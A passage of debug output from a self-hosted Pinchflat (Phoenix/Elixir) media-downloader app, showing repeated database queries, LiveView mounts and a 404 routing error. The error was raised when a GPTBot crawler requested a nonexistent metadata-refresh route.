s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:26.198 [debug] QUERY OK source="tasks" db=0.5ms idle=2.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:42:26.199 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:42:26.201 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:26.202 [debug] QUERY OK source="media_items" db=0.7ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:26.203 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:26.204 [debug] QUERY OK source="media_items" db=0.1ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:42:26.204 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:26.204 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:26.205 [info] Sent 200 in 12ms 22:42:27.108 [info] CONNECTED TO Phoenix.LiveView.Socket in 43µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "LxUcIHBQNxsdZyANMgg5PnE7OSIlJklmpJREEgNTU4SeDLVHBulzKe0V", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:42:27.259 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "__Ne57yOHSshvDov3NUXnCy0", "media_state" => "downloaded"} 22:42:27.259 [debug] QUERY OK source="media_items" db=0.3ms idle=1056.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:27.261 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1055.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:27.262 [debug] QUERY OK source="sources" db=0.3ms idle=1057.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:27.262 [debug] Replied in 3ms 22:42:27.266 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "__Ne57yOHSshvDov3NUXnCy0", "media_state" => "pending"} 22:42:27.267 [debug] QUERY OK source="media_items" db=0.6ms idle=1062.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:42:27.268 [debug] QUERY OK source="media_items" db=1.0ms idle=291.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:27.269 [debug] QUERY OK source="sources" db=0.3ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:27.269 [debug] Replied in 3ms 22:42:27.273 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "__Ne57yOHSshvDov3NUXnCy0"} 22:42:27.274 [debug] QUERY OK source="tasks" db=0.4ms idle=12.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:42:27.274 [debug] QUERY OK source="media_items" db=0.2ms idle=12.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:42:27.274 [debug] Replied in 1ms 22:42:27.276 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "__Ne57yOHSshvDov3NUXnCy0"} 22:42:27.276 [debug] Replied in 197µs 22:42:27.676 [info] GET / 22:42:27.676 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:42:27.677 [debug] QUERY OK source="settings" db=0.5ms idle=409.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:27.678 [debug] QUERY OK source="media_profiles" db=0.1ms idle=408.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:42:27.678 [debug] QUERY OK source="sources" db=0.1ms idle=408.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:42:27.678 [debug] QUERY OK source="media_items" db=0.1ms idle=404.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:27.678 [debug] QUERY OK source="media_items" db=0.0ms idle=404.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:27.679 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:27.679 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:27.680 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:27.682 [debug] QUERY OK source="tasks" db=0.4ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:42:27.683 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:42:27.685 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:27.686 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:27.687 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:27.688 [debug] QUERY OK source="media_items" db=0.1ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:42:27.689 [debug] QUERY OK source="media_items" db=0.2ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:27.689 [debug] QUERY OK source="sources" db=0.0ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:27.689 [info] Sent 200 in 13ms 22:42:28.943 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:33.244 [info] GET /sources/1/force_metadata_refresh 22:42:33.245 [debug] QUERY OK source="settings" db=0.3ms idle=1181.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:33.245 [debug] QUERY OK source="settings" db=0.1ms idle=256.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:33.246 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:42:33.246 [error] #PID<0.4982.0> running PinchflatWeb.Endpoint (connection #PID<0.4981.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46768}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4982.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhGZkw3N0KIeIAAVcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4981.0>, port: 80, scheme: "http", version: 